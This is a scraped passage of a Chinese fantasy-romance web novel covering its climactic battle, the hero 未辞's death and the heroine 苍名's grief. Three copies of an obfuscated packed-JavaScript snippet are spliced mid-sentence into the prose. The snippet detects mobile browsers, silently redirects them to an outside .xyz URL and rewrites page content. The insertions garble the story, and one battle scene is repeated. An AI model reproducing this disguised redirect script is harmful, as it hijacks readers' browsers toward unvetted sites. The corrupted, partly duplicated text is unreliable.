希声聚精会神地听着,不禁说道:“那就麻烦。” 无律嘿嘿一笑:“这一点,本师尊早就安排好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你把他们召过来了?”苍名心头一亮,闭上眼睛咬牙说,“那好,今夜,我就要了结他们。” 未辞轻轻托住她的脖颈,说:“不急。”接着,带有竹叶气息的、温暖而清列的吻,落在苍名的嘴唇上。这一吻辗转缠绵,炙热有力,带着离别之前的贪婪和留恋。风吹得大雪漫天翻卷,苍名的眼角渗出泪水,未辞轻轻为她擦干。 苍名把头埋在他胸前,两人相拥许久。终于,苍名轻轻挣脱出来,拔出冰刃,剑指李重山夫妇。那对陶人似乎感受到杀意,竟然躁动不安地原地乱颤起来。 未辞阴翳的目光落在陶人身上,淡淡地说:“苍苍,动手吧。这对陶人,本就是留给你的。” 苍名的手微微发抖。以往斩妖降魔无数,杀人却是生平第一次,前世在中原之战中,似乎也只是在极力智取,只求制服敌人,而没有刺向敌军的要害。刀剑刺入血肉之躯,跟杀鬼的感觉是不同的,恐怕跟杀猪的感觉也不完全一样。 撩剑转身,一剑挥去,疾风带起一地雪花。然而,剑刃在距离陶人一寸的地方,突然停了下来。 未辞的表情十分揪心。苍名胸口上下起伏,无声地喘着气。 身后突然传来一声大吼:“苍姐,我来助你!” 冰刃垂了下来。苍名转过头,看着无律义愤填膺地走过来,抡起拐棍作势往那对陶人头上打去:“用不用我来?我来还是你来?” 苍名无力地说:“我真是个不争气的女儿,我竟然……我再试试好了。” 她重新举起长剑,忽然听见忘仙台下一阵躁动。未辞说:“有人来了。”几人连忙跑到栏杆边向下俯视,只见红鞋尸群大乱,无数邪狞、千年浮尸、僵尸、恶鬼杀了进来。判木骑在亡灵黑马上,大声呼喝,身后有森林在移动。细看才知,原来是副将带来树精,树精又带来穷鬼。 苍名急忙寻找天心沭的身影,映入眼帘的却是一艘飘逸鬼魅的幽灵船。船轻易地滑过雪原,游字旗飒飒作响,船头上的游霄兴奋地朝苍名招手,而他的身后,站着寻烟和觅霞。无律满意地说:“好,好,好。南江召霞,也来助阵了。” 67. 不悔此身绝 希声和魏羌也步上前来,鸟瞰台下暴乱。希声问:“南江召霞在哪?”苍名则问:“云霞派不是早就灭门了吗?”无律却只是抱着膀子神秘微笑。 说话间,幽灵船已经飞上了忘仙台,把一地混乱甩在身后。游霄快步走下船来,站在苍名面前,满脸都是纯真的笑容:“道长大人,是无律兄让我来的!” 苍名觉得汗流浃背:“这……原来你们的关系已经好成了这样……无律,这就是你叫来的帮手?” 无律得意地说:“正是。” 希声说:“寻烟和觅霞怎么也来了?这三人都不会法术吧。” 无律哈哈一笑,极力克制着自傲的神色:“还记得老头被砸的那次吧?我不是碰到了游兄弟吗?我们呐,就促膝攀谈了一番!不谈不知道,游兄弟的这个游字,正是云霞派的游字!” 苍名听得云里雾里,未辞挑起了一侧眉毛。 游霄腼腆地说:“云霞派只收本宗族的后生,整个门派的弟子全都姓游。爷爷生前曾担任云霞派掌门,不过那已经是四十年前的事了!后来派中弟子都被屠杀,游氏宗族也迅速衰落,我是最后一个死的,在我之前所有人都死光啦……” 苍名张口结舌。虽然知道云霞派姓游,但怎么也没想到这位总是胆怯地微笑着的游公子,原来就是云霞派最后一个传人。她称赞道:“难怪老头它身经百战,能破解结界,原来是出自名门。” 魏羌双手在红袍上使劲蹭了蹭,一把拉住游霄的手:“想不到我有生之年还能见到南江召霞,而不是死后在地底下见……” 游霄受宠若惊,高兴得脸都红了:“哪里,我生前都没有修行过呀,死后也只是过着不争气的日子……” 无律清了一下嗓子,说:“现在,我想重新为各位介绍一下寻烟和觅霞。确切地说,是游寻烟,游觅霞。” 所有人都看向这对兄妹,看得他们惴惴不安,双手交握在胸前,脸上的笑容越来越大,眼睛则紧张地瞪着。 游霄一手拉着一个,感慨地说:“这两位,是我堂太爷爷的儿子的曾孙女的儿女,随了母姓,也是游氏的族人。” 苍名恍然大悟:“原来如此!”希声也若有所思地点着头,重新审视着兄妹二人。 寻烟窘迫地说:“其实我和我妹妹,是人与妖通婚的后代,只是游家的一个不起眼的旁支,从没有真正得授过云霞派的法术。有心重振门派,却没有本领和立场。” 觅霞补充道:“娘亲在世的时候,曾教过我们一点点口诀。我们沿街卖艺时,被掌柜的收留安顿下来,恩情没齿难忘。” 无律谦逊地说:“哪里哪里,把你们留在客栈里帮忙,真是屈才啦。” 此时天色接近黎明,大战之前的紧张气息,悄无声响地弥漫开来。游霄说:“道长大人,我和我的族人,都会助你一臂之力!” 苍名想要细问,却被排山倒海的呐喊声打断了。 忘仙台下,无数邪狞、千年浮尸、僵尸、恶鬼杀了进来。虽然知道是天心沭来帮忙,苍名还是烦恼地闭上眼睛。未辞安慰道:“将军,日后在此地重建忘仙源就是了。” 副将判木骑在亡灵黑马上,大声呼喝,身后有森林在移动。细看才知,原来是副将带来同族的树精,树精又带来穷鬼。 五花八门的军团冲出一条路来,将绣鞋僵尸逼退到两边。天心沭缓缓从这条路的尽头走来,手里拿着识怪罗盘,踏着沙沙的雪地,走向李弦真和老鬼莲。 李弦真麻木地看着天心沭,她的身高缩得很厉害,要费力地仰起头才能看见天心沭的脸。 天心沭一挥手,袖子卷起穿红鞋的破布娃娃,纵身跳上忘仙台。无律说:“哟,不跟师姐叙叙旧?” 天心沭凶狠地盯了他一眼,转身对苍名说:“底下那群破烂货,就交给我的军团去对付。”苍名重重地点头说:“多谢,那么我们集中灵力对付护世神。” 一缕金光穿透了东方的云层,雪原迎来了日出。随着晨曦的金色一起出现的,还有另一种金色。护世神从天而降,衣衫飘飘,悬浮在半空,风流地笑道:“是谁在提我的名字?” 但很快,他发现台上的人都冷漠而鄙夷地盯着他,没有人理会他的天神风范。 苍名突然感受到即将解脱的轻松。她活动着手腕,盯着护世神:“怎么才来啊?躲哪去了?” 未辞哈哈一笑,说:“一想到护世神整晚不敢回天宫,躲在雪地里过夜,就觉得十分有趣。” 护世神的眼珠阴沉地缩小了,像鹰眼一样邪恶凶险。他轻声说:“遗憾,真是遗憾,我本以为你与我能做成一番大事,开辟鸿蒙以来从未有过的大事……” 天色既是黎明,又像黄昏。在半明半暗的苍穹与雪地之间,苍名忽然凌空而起,一剑刺向护世神腰封,将他的佩剑挑飞出去。 未辞凝视着苍名,眼睛里全是她的前世今生。这一招先发制人、首战告捷的胜利,让台上众人为之一振,大声喝彩,各自拉开架势。 护世神从容地抚平衣角:“你这傻孩子。到了我这样的境地,还需要用兵器吗?无剑,亦是有剑。” 一道黑影猛地瞬移到她跟前,手臂像闪电一样探来,虚虚实实,欲左却右。苍名的剑和未辞的掌同时迎上去,三人斗在一起,漫空翻飞,霹雳雷惊,转眼已交手数百招。 无律和希声查缺补漏,不时挥动拐棍或拨弄琵琶,法力伴随着疾风拦截住护世神的退路。 台上神仙打架,台下妖鬼过招。台上的人却并不关心台下,谁都心知再多的小鬼、陷阱和诱饵都只能扰乱一时,最终的恶战,只能由舞将军和护世神单独较量。 乱斗之中,谁都没有注意到李弦真爬上了忘仙台。苍名回身飞转时,似乎瞥到她满地腾挪,伸手去捡那对陶人。 魏羌大喝一声,舞动着痒痒挠,劈向李弦真的手臂。李弦真手一抖,不慎将那对陶人扔了出去。陶人一路骨碌到战场中央,李弦真连忙膝行过去,但是慢了一步。 护世神轻盈地跳落到地上,正正好好一脚踩着一只陶人,仿佛海鸟踩着露出海面的礁石。借着这一下足尖轻点的蓄力,护世神弹回到空中,继续和苍名未辞缠斗。 而两枚陶人被踩得粉碎,临死前发出了短促而凄厉的尖叫。苍名第一次知道陶人也会发出叫声。李弦真跪在地上看着一地碎片,喃喃自语道:“全都没有了。” 苍名无暇分心,却如释重负,父母大仇得报,世间的挂碍又少了一分。护世神逐渐有些倦怠和不耐烦,似乎想要速战速决,不再恋战。 时机已到,按照此前约定的战术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461090|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苍名一个挥洒翻身,剑画立圆,一道六角雪花法阵当空乍现。与此同时,无数只银白色飞鸥如大雪般飞来,俯冲向护世神,撞得他眼花缭乱。 先前已经商定,这就是决战的信号。希声和无律心领神会,抬手起势。 希声抱着千境琵琶,嚓嚓拨弦,落指如急雨,恢宏如海潮的乐声奔涌而出,席卷天地,竟像有千万名乐师鼓瑟吹笙。 无律随着曲声以杖击地,沉闷的厚雪被敲出雨落晚钟的韵律,声声节拍与奏潮华声曲交相辉映。无律沉声说:“这一招,叫做击浪华声阵,又名击雪华声阵,你这老神棍还不快快投降!” 护世神冷笑一声,抡圆双臂,卷土重来,尚未碰到苍名的肩膀,就被烫了似的缩回手。海蓝色袍子上的花纹正在闪烁变幻,像一场人间的皮影戏,演出了山海精怪、人间仙境、古今日月。 苍名心中充满了温暖的感伤。只有当三人合作鼓乐起舞,才会唤醒这样的花纹戏。 这一场遗落在天边的比武台,上演着千年来最艰辛的战役。忽然听见游霄叫道:“云霞,重现!” 幽灵船的船舱里忽然冒出来形形色色的鬼,转眼就站了满满一船。为首的游老爷子拍了拍手,霎时间满船的族人都燃起烛火,默念口诀。游霄、寻烟和觅霞站在船下,互相手拉手念咒,猛地飞上云端。 游氏宗族的烛光映上天空,苍名第一次见到凌晨的晚霞。希声的曲声直转而上,进入新的乐章。霞光如华梦,海浪伴乐声,西边圆月,东边晨曦,晚风迎面,万人沉醉。 忘仙台上,舞将军旋转跳跃,身后的游霄三人升空起落,上下翩飞,将云彩和晚霞鼓动得飘渺奇谲,像烟花般盛大华美。在霞光和烟花最明亮的一瞬间,舞将军腾空倒踢,舞剑弄影。 云霞派随已消逝不可追,却以一场烟霞云雾为苍名伴舞,默默地为其输送着清凉祛燥的风。至此,四大流派终于联手。 未辞劈开护世神打来的一掌,数只白鸥身上的墨痕凝聚成玄色的雨滴,颗颗命中护世神的要害。 护世神护住左侧,苍名便攻向右。护世神往天上飞,六角雪花便将他往地上锤。斗来斗去,难分上下。 眼看天色即将破晓,护世神身心俱焚,大喝一声,一掌用出十成功力,重重打向苍名,不惜将自己的门户暴露在敌人眼前。 迎着钢铁般的掌风,苍名也笔直地刺向护世神的胸口,丝毫不顾及浑身的破绽。 在护世神引爆十成神力的这一刻,舞将军选择以自身作为献祭,倾尽毕生法力对抗。两种力量碰撞在一起,将会同时灭亡,护世神做梦也不会想到有人会走出这一招。 身后,未辞醇厚的嗓音在云霞中回荡着:“苍苍。” 苍名闭上眼睛。在出剑之前的一瞬间,六角雪花法阵拦住了他的身影。未辞被拖住的这一息之间,刚好足够苍名做个了断。 剑尖刺进护世神的胸前,护世神的一掌也到了眼前。巨大的冲击几乎让冰刃脱手,苍名只觉得天旋地转。 然而,忽然一切都结束了。冰刃脱手而出,恰好将护世神钉在地上。苍名却没有死。 未辞挡在她身前,紧紧把她抱在怀中,以后背承接了护世神的袭击。苍名茫然地回抱住他,他高大的身躯倒了过来,压得苍名向后摔了下去。 68. 人间多别离 两人相拥着倒在地上,未辞沉沉的身体压在上面,却还不忘一手护住她的后腰,一手垫在她的脑后。苍名的心里一片空白。过了很久,她终于明白过来,紧紧抓着未辞的肩膀:“未辞哥哥。” 未辞的嘴唇已经变成苍白的颜色,仍旧轻柔地说:“苍苍,我有没有压疼你?”他撑起胳膊,翻了个身,仰面躺倒在雪地上。苍名跪在他旁边,拼命托起他的头和肩:“未辞!未辞!” 周围的一切都乱糟糟的。有人影跑来跑去,去捉拿钉在地上的护世神,去清理忘仙台下的狼藉尸体,还有谁跑到苍名旁边,似乎在问她怎么回事。 苍名什么都不知道了。她的凉手抚摸上未辞的脸,眼泪砸在他的身上,不停地对他说:“未辞,未辞,未辞。”从来没有过的恐惧和绝望几乎要把她的心压垮了,她像做梦一样恍惚地说:“怎么会这样?” 那枚树叶做成的护身符还好好地戴在他的脖子上,被他珍重地放进了贴身衣服里。她清晰地记得,在决战的最后一刻,她用法阵绊住了未辞,准备独自慷慨赴死,只要有这片树叶护身符在,她与护世神相撞那一瞬间炸开的法力场绝对不会伤及未辞。 未辞费力地抬起一只手,轻轻抹着她脸上的泪水,笑着说:“你给我护身符,还想要拖住我,是不是?苍苍会保护我,可我也会保护你。”他的手向下滑去,苍名一把抓住,害怕地说:“未辞!” 他的手指轻轻勾住她的一缕长发,说:“发冠……不仅让我知道你在哪里……还能让我瞬间来到你身边救你于危险之中,不论你在哪里,不论有多少阻碍……” 泪水模糊了苍名的双眼,她用力擦了一把眼睛,想看清未辞的脸。未辞的声音已经低不可闻:“从前我总想阻拦你成神,想把你锁起来……幸好,现在都结束了,不会再有什么能伤害你。” “未辞哥哥,我只要你。”苍名哭着抱住他,“我们回古楼去,你不要离开我,好吗,你不要走……” “我不会离开你。”未辞的眼睛已经涣散了,但还是一眨不眨地盯着她,好像要记住她最后的样子,“你也离开我千年,最后还是回到了我身边不是吗?等我恢复了体力,我就会回来找你的……我是妖啊,记得吗,妖的转世是不一样的……” 一场鹅毛大雪纷纷扬扬飘落下来。苍名伏在他身上,哀哀地哭着,无比悔恨,只想回到前一夜,带未辞远走高飞,哪怕能多活一个春风花夜也好。无数飞鸥慢慢地绕着他们低飞,越来越近乎透明,最后几乎隐于雪花之中。未辞说:“别哭,苍苍。” 说完,他就随着飞鸥一起消散了。苍名的手抓了个空,她呆呆地跪坐在雪中,看着天地间随北风轮转的白雪。未辞消失了,头顶的未央冠也突然裂开,变成了雪地上的碎片。 不远处,一群人吵吵闹闹的。护世神被五花大绑,冰刃长剑还扎在他胸前,随着他苟延残喘的呼吸微微起伏。无律跑过来问:“苍姐,这东西怎么办?你不是说未央师祖会来接应吗?” 苍名抬头看着他,一句话都说不出来。希声和魏羌站在苍名身后,对无律摇头。无律忽然觉得不对:“哎,霍贤弟呢?难道回去了?天心沭倒是打完了一地绣花鞋就一声不吭地走了……她把老鬼莲的绣鞋毁了,尸身就地葬了,唉真是……” 游霄那双善解人意的眼睛里盛满了同情的泪水,他对无律说:“霍兄他转世去了。” 苍名闭上了眼睛。她还在回想着未辞的话。他还会回来吗? 这时朝阳破云而出,照得大地一片光明。在耀眼的斜晖里,一道金灿灿的天梯从高空直通地面,一群天兵天将飘然而下,径直走向护世神,吓得云霞派的族人们纷纷躲回到船里,游霄也急忙登船挥别众人。幽灵船往中原方向驶去,消失在雪中。 寻烟和觅霞躲在无律的身后,因为喝了足量的汤药,所以暂时还能伪装人形。他们从云端下来以后,笑口就合上了。现在他们终于不再带着待客的笑容,而是不安地望着苍名。 无律吵着要核实天兵天将的身份,天梯上传来一道清越的女声:“我来了,还用核查么?” 苍名抬起头,师祖噔噔噔从天梯上跑下来,一把拉起她:“师父,我来晚了!唉。” 无律和希声突然亲眼见到多年不见的雪结未央,虽早有准备,还是惊了一下。师祖说:“我在天上不是兼任了文职吗?天界那地方,每天大会小会不断,我就利用职责之便,将这些议事集会设在了护世神回天宫的必经之路上,苍名的这一计真是妙哉!” 希声问:“他还真回去了?” 师祖说:“这倒没有。不过,这样一来我就知道他还在人间了,于是我想了个办法,就说凡间的北地近些年太荒凉,在议事集会上光明正大地开了一块地砖,便可以透过那个洞俯视关外。这一下,正好看见这护世神在为非作歹,和你们拉扯不清,诸神用万里顺风耳一听,字字句句都听到了。” 无律听糊涂了:“那……那你们怎么现在才来?” 师祖跺着脚说:“提到这个就来气,还不是诸神要先现场集议,唠唠叨叨,一直等所有人都表态,才能派天兵天将下来。有些老家伙恐怕是护世神一党的,搅局搅得不像样!好在不管怎么说,天界抓到了护世神的现行,无从抵赖,你们刺杀他,也不会被追究的。” 魏羌突然冒出一句:“您真的是天神?这些金色人物……都是天上的兵将?”他的眼睛睁得很大,满脸都是震撼。 师祖朝他笑了笑,转头问苍名:“怎么了,丢了魂似的?” 苍名张了张嘴,一个字也说不出来。天兵天将已经把护世神绑上了囚车,冰刃宝剑重新回到苍名手里。 苍名提着剑,怔怔地看着师祖,词不达意地说:“师父,未央冠碎了。上面施了咒,为了让他转移到我身边,费了太多法力,炸开了。” 师祖一愣,然后竟然如释重负:“师父,那东西终于毁掉了。从此江湖上少了一件撩动人心的东西,但愿从此太平。” 苍名失神地点了一下头。师祖说:“我又要走了……唉,再回忘仙源,真是五味杂陈。师父,也许我们还会再见的。” 师祖押着囚车登上天梯,很快就变成天上的一个小点,接着天梯也收了回去。大雪簌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465728|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簌,忘仙台上只剩下几位老友,还有跪在地上的李弦真。 希声说:“回去吧。他会回来找你的。”说着,她从袖子里掏出一张瞬移黄符。无律、寻烟和觅霞站了过来,魏羌则说:“打完这一场仗,只觉得心里空空的,我要回山里去看看双亲。过些时日,就去中原看你们。” 于是彼此作别,希声和无律一边一个拉着苍名,黄符召出的狂风卷起几人,将他们安然无恙地送回了息园三坊。 息园三坊中一切未变,桌椅板凳还干净锃亮,不曾蒙上灰尘。寻烟和觅霞拉开了客栈大门,又推开每一扇窗户,中原已是暮春时节,春花落尽,绿树成荫,再过不久,就是小满。 苍名呆呆地看着门外,心中想道,小满,小满,万物至此时小得圆满,而她的心不会在满了。 其余几人都小心地看着她。无律试探着说:“那个……霍贤弟不是妖王吗?我们早就看出来了……他应该会回来的吧?这个……妖王也会死吗?” 希声毫不客气地照着他后脑来了一下,差点把他打得翻出白眼。苍名说:“我也不知道。” 无律好心建议道:“我看,你要不然就把他的原身找出来,你看老鬼莲不也是被李弦真捅坏了真身,才彻底死了。” 希声森然道:“别再说那个死字。” 苍名又呆立了一会儿,突然反应过来无律的话,猛地抬腿冲出门去,没命地奔向江边的古董店。她想,古董店应有尽有,每个人都能在那里找到想要的东西,未辞的真身一定也藏在那里,或许就在某个货架上,或许就在算命李玩偶那宽大的袖子里…… 然而,当她跑到江边,却发现森林前空无一物。古楼竟消失了。 苍名的心被无穷无尽的恐惧占满了,她觉得胃里发紧,像被无数根针扎透了。她茫然地奔来奔去,最后在江边的渔船上抓住一位渔夫:“劳驾,逢焉城的古董店呢?” 渔夫问:“哦?啊,古董店,你去街里看看吧。” “不,我是说,江边的那栋古楼呢?”苍名指着古董店从前的方向,“就是那栋古楼,五层的古楼……” 那位渔夫奇道:“什么古楼?江边那一带,从来没有楼啊,连行人都罕见呢。” 苍名只觉得双腿发软。冷汗顺着额头渗了出来。但希声和无律也能看见,寻烟和觅霞也能看见,那些客人也能看见……苍名恍惚地想,这栋古楼大概只有心怀执念者才能看见。而现在随着妖王的消逝,这栋楼也不复存在。 忽然之间,灵光乍现。苍名想起最初来到逢焉城的时候,在这条江边,绣花鞋的余烬在对她唱那些怪曲儿,一页纸一样的银光飞来,打碎了那些歌声,却被她当成妖鬼的同伙,挥剑将它毁坏成一地碎片。那是未辞的白鸥,只是她从来都没有想起来。 苍名扔下渔船,疯了似的跑到那天的地方,咚地一声跪在地上,一寸一寸地找着。她要找那天被她打成碎片的纸屑。哪怕找到一小撮,拼成一小块纸,那就是未辞的真身了。 然而,江边湿润的土地上什么也没有。苍名失魂落魄地站起身,算命李出现在她眼前。